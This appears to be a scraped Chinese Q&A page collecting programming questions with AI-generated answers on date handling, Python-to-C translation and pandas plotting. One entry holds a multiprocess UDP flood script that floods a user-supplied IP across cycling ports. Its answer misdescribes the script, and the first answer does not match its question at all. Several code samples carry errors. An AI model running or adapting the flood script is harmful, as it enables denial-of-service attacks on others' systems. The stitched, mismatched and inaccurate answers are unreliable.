怎么修改代码:month = ["%02d" % i for i in range(1,13,1)] day = ["%02d" % i for i in range(1,32,1)] featuresfeatures_poly = poly_transformer.get_feature_names(features) features_nonzero = np.array(features_poly)[lr.coef_ != 0] coef_nonzero = lr.coef_[lr.coef_ != 0] = month + day features

时间: 2023-05-28 08:06:32 浏览: 157
As an AI language model, I do not have emotions, and I do not understand the concept of null in a human sense. However, in computer programming, null usually refers to a variable with no assigned value or an empty reference to an object.
相关问题

def attack(P_num,ip,port): import sys import os import time import socket import random # Code Time from datetime import datetime now = datetime.now() hour = now.hour minute = now.minute day = now.day month = now.month year = now.year sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sent=0 while True: sock.sendto(bytes, (ip, port)) sent = sent + 1 port = port + 1 print("%s Proccess Sent %s packet to %s throught port:%s" % (P_num,sent, ip, port)) if port == 65534: port = 1 if __name__ == '__main__': import os from multiprocessing import Process ip = input("IP Target : ") port = int(input("Port : ")) num=input("并行数 :") list=[] for i in range(int(num)): p=Process(target=attack,args=(i,ip,port)) list.append(p) for i in list: i.start() for i in list: i.join()

这是一个Python函数,用于进行攻击。它的参数是"P_num","ip"和"port"。其中,"P_num"表示攻击使用的进程数,"ip"表示目标IP地址,"port"表示目标端口号。 在函数中,导入了一些必要的Python库,包括"sys"、"os"、"time"和"socket"等。同时,还导入了"random"库,用于生成随机数。 该函数的具体实现需要看更多代码。

将下面的编程翻译为C语言# -*- coding:utf-8 -*- year, month, day = map(int, input().split()) # 判断是否为闰年 def is_leap_year(year): if year % 400 == 0 or (year % 4 == 0 and year % 100 != 0): return True else: return False # 计算该年的天数 def days_of_year(year): if is_leap_year(year): return 366 else: return 365 # 计算该月的天数 def days_of_month(year, month): days = [31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31] if is_leap_year(year): days[1] = 29 return days[month - 1] # 计算从公元1年1月1日到该日期前一年的年末总共有多少天 days = 0 for i in range(1, year): days += days_of_year(i) days -= days_of_month(year, month) - day print(days) # 计算到该日期前一个月的月末总共有多少天 days = 0 for i in range(1, month): days += days_of_month(year, i) if month == 2 and is_leap_year(year): days += 1 days += day print(days) # 计算到这一天总共有多少天,并求出这一天是星期几 days = 0 for i in range(1, month): days += days_of_month(year, i) if month == 2 and is_leap_year(year): days += 1 days += day week = (days + 5) % 7 week_dict = {0: 'Sunday', 1: 'Monday', 2: 'Tuesday', 3: 'Wednesday', 4: 'Thursday', 5: 'Friday', 6: 'Saturday'} print(days) print(week_dict[week])

以下是将 Python 代码翻译成 C 代码的实现: ```c #include <stdio.h> // 判断是否为闰年 int is_leap_year(int year) { if (year % 400 == 0 || (year % 4 == 0 && year % 100 != 0)) { return 1; } else { return 0; } } // 计算该年的天数 int days_of_year(int year) { if (is_leap_year(year)) { return 366; } else { return 365; } } // 计算该月的天数 int days_of_month(int year, int month) { int days[] = {31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31}; if (is_leap_year(year)) { days[1] = 29; } return days[month - 1]; } int main() { int year, month, day; scanf("%d %d %d", &year, &month, &day); // 计算从公元1年1月1日到该日期前一年的年末总共有多少天 int days = 0; for (int i = 1; i < year; i++) { days += days_of_year(i); } days -= days_of_month(year, month) - day; printf("%d\n", days); // 计算到该日期前一个月的月末总共有多少天 days = 0; for (int i = 1; i < month; i++) { days += days_of_month(year, i); } if (month == 2 && is_leap_year(year)) { days += 1; } days += day; printf("%d\n", days); // 计算到这一天总共有多少天,并求出这一天是星期几 days = 0; for (int i = 1; i < month; i++) { days += days_of_month(year, i); } if (month == 2 && is_leap_year(year)) { days += 1; } days += day; int week = (days + 5) % 7; char* week_dict[] = {"Sunday", "Monday", "Tuesday", "Wednesday", "Thursday", "Friday", "Saturday"}; printf("%d\n", days); printf("%s\n", week_dict[week]); return 0; } ```
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import datetime # a = datetime.datetime.now() def day_get(d): if type(d).__name__ == "str": d = datetime.datetime.strptime(d, '%Y-%m-%d %H:%M:%S') oneday = datetime.timedelta(days=1) day = d - oneday date_from = datetime.datetime(day.year, day.month, day.day, 0, 0, 0) date_to = datetime.datetime(day.year, day.month, day.day, 23, 59, 59) print('---'.join([str(date_from), str(date_to)])) def week_get(d): if type(d).__name__ == "str": d = datetime.datetime.strptime(d, '%Y-%m-%d %H:%M:%S') dayscount = datetime.timedelta(days=d.isoweekday()) dayto = d - dayscount sixdays = datetime.timedelta(days=6) dayfrom = dayto - sixdays date_from = datetime.datetime(dayfrom.year, dayfrom.month, dayfrom.day, 0, 0, 0) date_to = datetime.datetime(dayto.year, dayto.month, dayto.day, 23, 59, 59) datelist = [[str(date_from)], [str(date_to)]] # print('---'.join([str(date_from), str(date_to)])) return datelist def multi_week_get(d, num): if type(d).__name__ == "str": d = datetime.datetime.strptime(d, '%Y-%m-%d %H:%M:%S') date_num = [] # date_num = [date_to1] for i in range(num - 1, 0, -1): dayscount = datetime.timedelta(days=d.isoweekday()) dayto = d - dayscount sixdays = datetime.timedelta(days=6 * i) dayfrom = dayto - sixdays date_from = str(datetime.datetime(dayfrom.year, dayfrom.month, dayfrom.day, 10, 0, 0)) date_num.append(date_from) dayscount1 = datetime.timedelta(days=d.isoweekday()) onedays = datetime.timedelta(days=1) dayto1 = d - dayscount1 + onedays date_to1 = str(datetime.datetime(dayto1.year, dayto1.month, dayto1.day, 10, 0, 0)) date_num.append(date_to1) return date_num def month_get(d): if type(d).__name__ == "str": d = datetime.datetime.strptime(d, '%Y-%m-%d %H:%M:%S') dayscount = datetime.timedelta(days=d.day) dayto = d - dayscount date_from = datetime.datetime(dayto.year, dayto.month, 1, 0, 0, 0) date_to = datetime.datetime(dayto.year, dayto.month, dayto.day, 23, 59, 59) # print('---'.join([str(date_from), str(date_to)])) datelist = [[str(date_from)], [str(date_to)]] return datelist class op_date(object): def week_get(self, param): pass if __name__ == "__main__": op_date = op_date() # print(op_date.week_get("2023-06-09 23:00:00")[0]) print(op_date.week_get("2023-06-09 23:00:00")[1]) print(multi_week_get("2023-06-09 23:00:00", 4))

修改这段代码使其能正常输出预期结果import random import pandas as pd import matplotlib.pyplot as plt def generate_data(): products = ['商品1','商品2','商品3','商品4','商品5','商品6','商品7','商品8','商品9','商品10'] datelist = [] for month in range(1,13): for day in range(1,32): date = f'2019-{month:20d}-{day:02d}' datelist.append(date) datalist =[] for date in datelist: for it in products: sales = round(random.uniform(100,1000),2) datalist.append([date,it,sales]) df = pd.DataFrame(datalist, columns=['日期','商品名称','营业额']) df.to_csv('data.csv', index=False) return pd.read_csv('data.csv') def plot_sales_by_product(df): for product in df['products'].unique() : data = df.loc[df['products'] == product] plt.plot(data['date'],data['sales'],label=product) plt.xlabe1('Date') plt.ylabe1('sales') plt.title('Sales by Product') plt.legend() plt.show() def plot_sales_by_month(df): df['month'] = pd.DatetimeIndex(df['date']).month groupeddata = df.groupby(['products','month'])['sales'].sum().unstack() groupeddata.plot(kind='bar') plt.xlabel('Products') plt.ylabel('Sales') plt.title('Sales by Month') plt.legend(title='Month',labels=['JAN','FEB','MAR','APR','MAY','JUN','JUL','AUG','SEP','OCT','NOV','DEV']) plt.show() def plot_sales_by_quarter(df): df['quarter'] = pd.PeriodIndex(df['date'],freq='Q') groupeddata = df.groupby(['products','quarter'])['sales'].sum().unstack() groupeddata.plot(kind='pie',subplots=True) plt.title('Sales by Quarter') plt.legend(loc='center left',bbox_to_anchor=(1.0,0.5)) plt.show() df = generate_data() plot_sales_by_product(df) plot_sales_by_month(df) plot_sales_by_quarter(df)

请修改优化以下代码 import os import struct import pandas as pd # 常量定义 LC1_FILE_PATH = 'D:\\sz000001.lc1' 5_FILE_PATH = 'D:\\sz000001.lc5' BYTES_PER_RECORD = 32 SECONDS_PER_MINUTE = 60 MINUTES_PER_HOUR = 60 HOURS_PER_DAY = 24 SECONDS_PER_DAY = SECONDS_PER_MINUTE * MINUTES_PER_HOUR * HOURS_PER_DAY SECONDS_PER_YEAR = SECONDS_PER_DAY * 365 START_YEAR = 2004 def read_lc_file(file_path): """读取lc文件,返回包含数据的DataFrame对象""" with open(file_path, 'rb') as f: buf = f.read() num = len(buf) // BYTES_PER_RECORD dl = [] for i in range(num): a = struct.unpack('hhfffffii', buf[i*BYTES_PER_RECORD:(i+1)*BYTES_PER_RECORD]) date_str = format_date(a[0]) time_str = format_time(a[1]) dl.append([date_str, time_str, a[2], a[3], a[4], a[5], a[6], a[7]]) df = pd.DataFrame(dl, columns=['date', 'time', 'open', 'high', 'low', 'close', 'amount', 'volume']) return df def format_date(date_int): """将日期整数格式化为字符串""" year = START_YEAR + date_int // 2048 month = (date_int % 2048) // 100 day = (date_int % 2048) % 100 return '{:04d}-{:02d}-{:02d}'.format(year, month, day) def format_time(time_int): """将时间整数格式化为字符串""" hour = time_int // 60 minute = time_int % 60 return '{:02d}:{:02d}:00'.format(hour, minute) # 将解析后的数据存入同一路径相同文件名的CSV格式文件中 def save_to_csv(df, file_path, is_lc1): if is_lc1: interval = '1M' else: interval = '5M' csv_file_path = os.path.splitext(file_path)[0] + '_' + interval + '.csv' df.to_csv(csv_file_path, index=False) # 读取lc1文件 df1 = read_lc_file(LC1_FILE_PATH) print(df1) # 读取lc5文件 df5 = read_lc_file(LC5_FILE_PATH) print(df5) # 调用save_to_csv函数并将解析后的数据保存为CSV文件 save_to_csv(df1, LC1_FILE_PATH, True) save_to_csv(df5, LC5_FILE_PATH, False) # 以lc1和lc5的文件名分别保存五分钟的数据 file_name = os.path.splitext(os.path.basename(LC1_FILE_PATH))[0] df1_5M = df1.resample('5T', label='right', closed='right').agg({'open': 'first', 'high': 'max', 'low': 'min', 'close': 'last', 'amount': 'sum', 'volume': 'sum'}) save_to_csv(df1_5M, LC1_FILE_PATH, False) file_name = os.path.splitext(os.path.basename(LC5_FILE_PATH))[0] df5_5M = df5.resample('5T', label='right', closed='right').agg({'open': 'first', 'high': 'max', 'low': 'min', 'close': 'last', 'amount': 'sum', 'volume': 'sum'}) save_to_csv(df5_5M, LC5_FILE_PATH, False)

修改下列代码的错误import random import pandas as pd import matplotlib.pyplot as plt def generate_data() : products = ['商品1','商品2','商品3','商品4','商品5','商品6','商品7','商品8','商品9','商品10'] datelist = [] for month in range(1,13) : for day in range(1,29) : date = f'2019-{month:20d}-{day:02d}' datelist.append(date) datalist = [] for date in datelist : for it in products : sales = round(random.uniform(150,200),2) datalist.append([date,it,sales]) df = pd.DataFrame(datalist,columns=['date','products','sales']) df.to_csv('data.csv', index=False) return pd.read_csv('data.csv') def plot_sales_by_product(df) : for product in df['products'].unique() : data = df.loc[df['products'] == product] plt.plot(data['date'],data['sales'],label=product) plt.xlabel('Date') plt.ylabel('Sales') plt.title('Sales by Product') plt.legend() plt.show() def plot_sales_by_month(df) : df['month'] = pd.DatetimeIndex(df['date']).month groupeddata = df.groupby(['products','month'])['sales'].sum().unstack() groupeddata.plot(kind='bar') plt.xlabel('Products') plt.ylabel('sales') plt.title('Sales by Month') plt.legend(title='Morth',labels=['JAN','FEB','MAR','APR','NAV','JoW','JUL','AUG','SEP','OCT','NOV','DEV']) plt.show() def plot_sales_by_quarter(df) : df['quarter'] = pd.PeriodIndex(df['date'],freq='Q') groupeddata = df.groupby(['products','quarter'])['sales'].sum().unstack() groupeddata.plot(kind='pie',subplots=True) plt.title('Sales by Quarter') plt.legend(loc='center Left',bbox_to_anchor=(1.0,0.5)) plt.show() df = generate_data() plot_sales_by_product(df) plot_sales_by_month(df) plot_sales_by_quarter(df)

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